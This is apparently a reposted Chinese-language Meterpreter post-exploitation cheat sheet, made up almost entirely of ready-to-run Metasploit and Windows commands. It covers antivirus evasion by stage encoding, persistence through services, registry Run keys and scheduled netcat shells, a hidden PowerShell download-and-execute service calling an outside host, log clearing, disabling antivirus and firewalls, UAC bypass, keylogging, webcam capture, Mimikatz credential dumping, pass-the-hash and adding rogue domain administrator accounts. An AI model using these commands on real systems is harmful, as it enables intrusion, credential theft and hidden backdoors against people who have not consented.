Meterpreter


監聽

AutoRunScrip:自動執行腳本

如:自動執行post/windows/manage/migrate

set AutoRunScript post/windows/manage/migrate
set autorunscript migrate -f #獲取shell后,將自動遷移到另一個進程

自動注入進程

set prependmigrate true
set prependmigrateProc svchost.exe

 

set exitonsession false  //可以讓建立監聽的端口繼續保持偵聽,可以接受多個session
set stagerverifysslcert false  //防止獲取shell的時候出現的SSL_accept錯誤

 

 

免殺

將控制端向被控制端發送的stage進行編碼,從而繞過symantec的查殺

set EnableStageEncoding true
set stageencoder x86/fnstenv_mov
set stageencodingfallback false

相當於使用RC4

msfvenom -p windows/meterpreter/reverse_tcp_rc4 LHOST=xxx lport=xxxx RC4PASSWORD=yourpass -f c

 

利用rc4對傳輸的數據進行加密,密鑰在生成時指定,在監聽的服務端設置相同的密鑰。可以繞過symantec,且不用設置stageencoder選項,更穩定更方便

 

繞過殺軟的添加自啟動

exploit/windows/local/registry_persistence

同類型的還有其他payload,如

exploit/windows/local/vss_persistence,exploit/windows/local/s4u_persistence

 

后門腳本

1.persistence

metasploit/scripts/meterpreter/persistence

用於創建通過啟動項啟動。會創建注冊表,創建文件,但是很容易被殺軟攔截。
命令示例:

run persistence -A -U -i 5 -p 443 -r 192.168.2.101

使用-S可創建服務。-U 會在HKCU添加啟動項,-X 會在HKLM添加啟動項
能實現同樣功能的腳本還有:

exploit/windows/local/persistence.rb
exploit/windows/local/registry_persistence.rb


2.metsvc.rb

metasploit/scripts/meterpreter/metsvc.rb

用於創建服務啟動。會創建meterpreter服務,並上傳三個文件。很容易被殺軟攔截,且安裝服務需要管理員權限。

命令:

run metsvc -A

使用 -r 參數可卸載服務。

3、Scheduleme & Schtasksabuse

metasploit/scripts/meterpreter/scheduleme.rb
metasploit/scripts/meterpreter/schtasksabuse.rb

這兩個腳本都是通過schtasks來創建計划任務來達到維持權限的目的

區別是scheduleme 需要當前進程擁有最高管理權限,而schtasksabuse則不需要,(測試發現很容易被殺軟攔截)。
使用舉例:

run scheduleme -m 1 -e /tmp/nc.exe -o "-e cmd.exe -L -p 8080" #上傳nc並創建計划任務每一分鍾執行一次 'nc -e cmd.exe -L -p 8080'
run scheduleme -m 1 -c "cmd /c calc.exe" # 創建計划任務每一分鍾執行一次打開計算器命令

其他參數有興趣自己看看就不詳細介紹了

schtasksabuse

run schtasksabuse -t 192.168.2.7 -c "cmd /c calc.exe" -d 4  #每隔4秒執行一次calc.exe

使用腳本需要加-t參數
能實現同樣功能的腳本還有:exploits/windows/local/s4u_persistence

4. Mof_ps_persist
  Powershell之MOF后門 提到過,創建WMI后門的一種方式,可以在你的MSF添加此腳本。(運行需要管理員權限,不容易被攔截)

 

 

繞過攔截的計划任務:

schtasks /create /tn mytask /tr notepad.exe /sc hourly /mo 1 #每小時執行一次

 

 

設置持久化后門

設置powershell腳本開機自啟動后門

sc create "name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.82:19001/a'))\""
sc config “name” start= auto
sc description “name” “description” 設置服務的描述字符串
net start “name” 啟動服務
sc delete “name” 刪除這個服務,不想使用服務直接刪除

 

創建自啟動木馬服務

先創建一個服務名稱后面跟着木馬上傳的路徑,這里如果要保證”windows Service EXE程序不被殺毒軟件攔截,最好做下免殺,在放到更加隱蔽的目錄

sc create "server power" binpath= "C:\Users\Administrator\Desktop\artifact.exe"
sc description "server power" "description" 設置服務的描述字符串
sc config "server power" start= auto 設置這個服務為自動啟動
net start "server power" 啟動服務 

也可以用注冊表添加自啟動

 

生成一個exe木馬程序(免殺)

設置開機啟動項,往注冊表HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run添加木馬程序路徑 

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Users\Administrator\Desktop\artifact1.exe" /f 

當系統注銷,再次進入登入到目標系統就會上線,權限是繼承的。

 

 

Meterpreter后滲透命令

基本命令

ps/migrate/sysinfo/screenshot /background

cd/cat/ls/del/mkdir/rm/edit
edit c:\\windows\\system32\\drivers\\etc\\hosts  編輯文件

upload /root/nc.exe c:\\windows\\system32  #上傳
download c:\\Programs Files\\Tecent\\QQ\\Users\\qq號\\Msg2.0.db /etc(聊天記錄) #下載目標聊天記錄,可用Qqlogger查看

clearev --清除日志    
run killav --干掉殺軟    
run vnc --開啟目標vnc服務
run scraper    --列舉系統及用戶敏感信息、下載用戶注冊表
run metsvc --在目標上將meterpreter安裝為后門服務,

 

 

繞過 UAC

meterpreter> run post/windows/escalate/bypassuac

uictl enable keyboard/mouse    #獲取鍵盤或鼠標的控制權
timestomp 文件a -f 文件b          #把文件a的時間信息設置的與b相同
run webcam -p 圖片保存路徑      #開啟目標攝像頭並截圖
run packetrecorder –i 會話序號          #捕獲流量數據包.pcap

setdesktop    -更改 meterpreter 桌面
sessions –u 會話序號    #將shenll會話轉換成meterpreter
getwd –顯示目錄          lcd -更改目錄
getprivs   -獲取更多特權          getpid -獲取當前進程 ID (PID)    
getsystem   獲得系統權限      getuid -獲取作為運行服務器的用戶
search –d c:\\windows –f *.mdb       #在目標主機Windows目錄中搜索文件

 

提權

use priv
getsystem
getuid

 

執行程序

execute -H -i -f cmd.exe #隱藏執行cmd並與之交互
execute -H -m -d calc.exe -f wce.exe -a “-o foo.txt”
#隱藏,從內存中,顯示虛假運行程序,執行惡意程序

 

搜集信息

run post/windows/gather/forensics/enum_drivers    #獲取磁盤分區信息
run post/windows/gather/checkvm (run checkvm)    #檢測是否為虛擬機
run post/windows/gather/dumplinks    --查看目標最近系統操作路徑(較慢)
run post/windows/gather/enum_applications #查看目標的軟件更新和補丁

 

獲取hash

hashdump或run hashdump或run smart_hashdump
>run post/windows/gather/hashdump
>run /windows/gather/smart_hashdump    --可繞過windows UAC控制

 

reg command #修改注冊表

run getgui –u 建立用戶名 –p 建立用戶的密碼 #建立賬戶並開啟遠程終端
run multi_console_command –rc /root/.msf3/logs/scripts/getgui/clean_up_*.rc   #清除腳本痕跡

 

鍵盤記錄

keyscan_start keyscan_dump   keyscan_stop

run post/windows/capture/keylog_recorder

嗅探

msf > use auxiliary/sniffer/psnuffle

msf auxiliary(psnuffle) > run

開啟 RDP 服務

reg add "hklm\system\currentcontrolset\control\terminal server" 
/f /v fDenyTSConnections /t REG_DWORD /d 0 
netsh firewall set service remoteadmin enable 
netsh firewall set service remotedesktop enable 
關閉 Windows 防火牆
netsh firewall set opmode disable

 

開啟vnc

meterpreter>runvnc
meterpreter>runscreen_unlock


遠程連接
我們嘗試用RDP連接到Windows 7,。

 

>use post/windows/manage/enable_rdp  首先在msfconsole運行enable_rdp模塊
>set SESSION 2  把SESSION設置為無UAC限制的有權限的session
>run
然后用haxtorDaMan賬號登錄
:xfreerdp /v:192.168.1.108 /port:3389/size:1600×900/u:haxtorDaMan /p:hax@Pass50

 

端口轉發與遠程桌面連接

portfwd add –l 9999(轉發至本機的端口號) –p 3389 -r 目標IP
rdesktop [-u 用戶名 –p 密碼] 127.0.0.1:9999
rdesktop 192.168.1.3 -f 1024x768
遠程掛在本地文件夾(本地/home和/root文件夾掛在到遠程服務器上分別命名為h和r)
redsktop 192.168.1.3 -r disk:h=/home,r=/root
共享剪貼板: redsktop 192.168.1.3 -r clipboard:PRIMARYCLIPBOARD

 

Meterpreter 端口轉發

https://www.offensive­security.com/metasploit­unleashed/portfwd/ 
# 
# 反彈10.1.1.129端口3389到本地2222並監聽
meterpreter > portfwd add -l 2222 -r 10.1.1.129 -p 3389
root@kali:~# rdesktop 127.1.1.0:2222

 

使用 Mimikatz 獲取 Windows 明文用戶名密碼

git clone https://github.com/gentilkiwi/mimikatz.git 
privilege::debug 
sekurlsa::logonPasswords full

 

用kiwi獲取明文密碼:

meterpreter>load kiwi
meterpreter> creds_all
meterpreter> lsa_dump_sam

 

使用mimikatz自帶的命令:

meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPasswords 
<前面一句命令在密碼超過14位時LM會為空,后一句命令可能得到明文>

 

Metaspolit中使用Mimikatz:

使用metasploit內建的命令:
meterpreter > load mimikatz
meterpreter > msv   #msv creden
meterpreter > kerberostials #kerberos credentials 

獲取到系統hash置換,可以去http://www.cmd5.com/進行NTLM解密

當獲取到密碼的hash之后無法破解出明文密碼且無法直接使用hash登陸,需要使用
pass-the-hash技術:

msf>use windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST  xxxx
set LPORT  xxxx
set RHOST  xxxx
set SMBPassword xxxx
exploit

 

傳遞哈希攻擊

meterpreter > run post /windows/ gather/hashdump 
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: 
msf > use exploit /windows/ smb/psexec 
msf exploit(psexec) > set payload windows /meterpreter/ reverse_tcp 
msf exploit(psexec) > set SMBPass 
e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c 
msf exploit(psexec) > exploit

 

顯示遠程機器的防火牆規則,列出DEP和UAC策略。並禁用之

> run getcountermeasure 
> run getcountermeasure -h 
> run getcountermeasure -d -k

 

 

提權一般步驟

> use priv > getsystem 
> ps > steal_token 1784 
> shell 
net user hack password /add /DOMAIN 
net group "DomainAdmins" hack /add /DOMAIN

創建一個管理員帳號 (haxtorDaMan) 把它提升到管理員組,並且成為遠程桌面用戶
net user haxtorDaManhax@Pass50 /add
net localgroup “Administrators” haxtorDaMan /add
net localgroup“Remote Desktop Users” haxtorDaMan /

 

 

令牌模擬:

當有域控賬戶登陸至服務器時可使用令牌模擬進行滲透取得域控權限, 之后登陸其他機器時不需要登陸密碼。 
> ps # 查看進程, 找出域控賬戶運行的進程 ID, 如 PID為 380
> steal_token 380
有時 ps命令列出的進程中可能不存在域控賬戶的進程, 
此時使用 incognito模塊查看可用 token: 
> use incognito (use priv4    getsystem)
> list_tokens –u    #列出可用 token
> impersonate_token SNEAKS.IN\\ihazdomainadmin 
> add_user hacker password –h 域控制器IP #在域控主機上添加賬戶 
> add_group_user “Domain Admins” hacker –h IP #將賬戶添加至域管理員

 

使用 Railgun操作 windowsAPIs

例: 
meterpreter> irb
>>client.core.use(“railgun”)    #添加Railgun模塊
>>client.railgun.user32.MessageBoxA(o,“我是hack!”,“world”,“MB_OK”)
#在目標機器上會彈出一個標題欄為 world,內容為“我是hack!”的窗口
>>client.railgun.user32.MessageBoxA(0,“我是hack!”,NULL,“MB_OK”)
>> client.railgun.kernel32.SetThreadExecutionState(“ES_CONTINUOUS | ES_SYSTEM_
REQUIRED”)    #阻止目標主機進入睡眠狀態

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM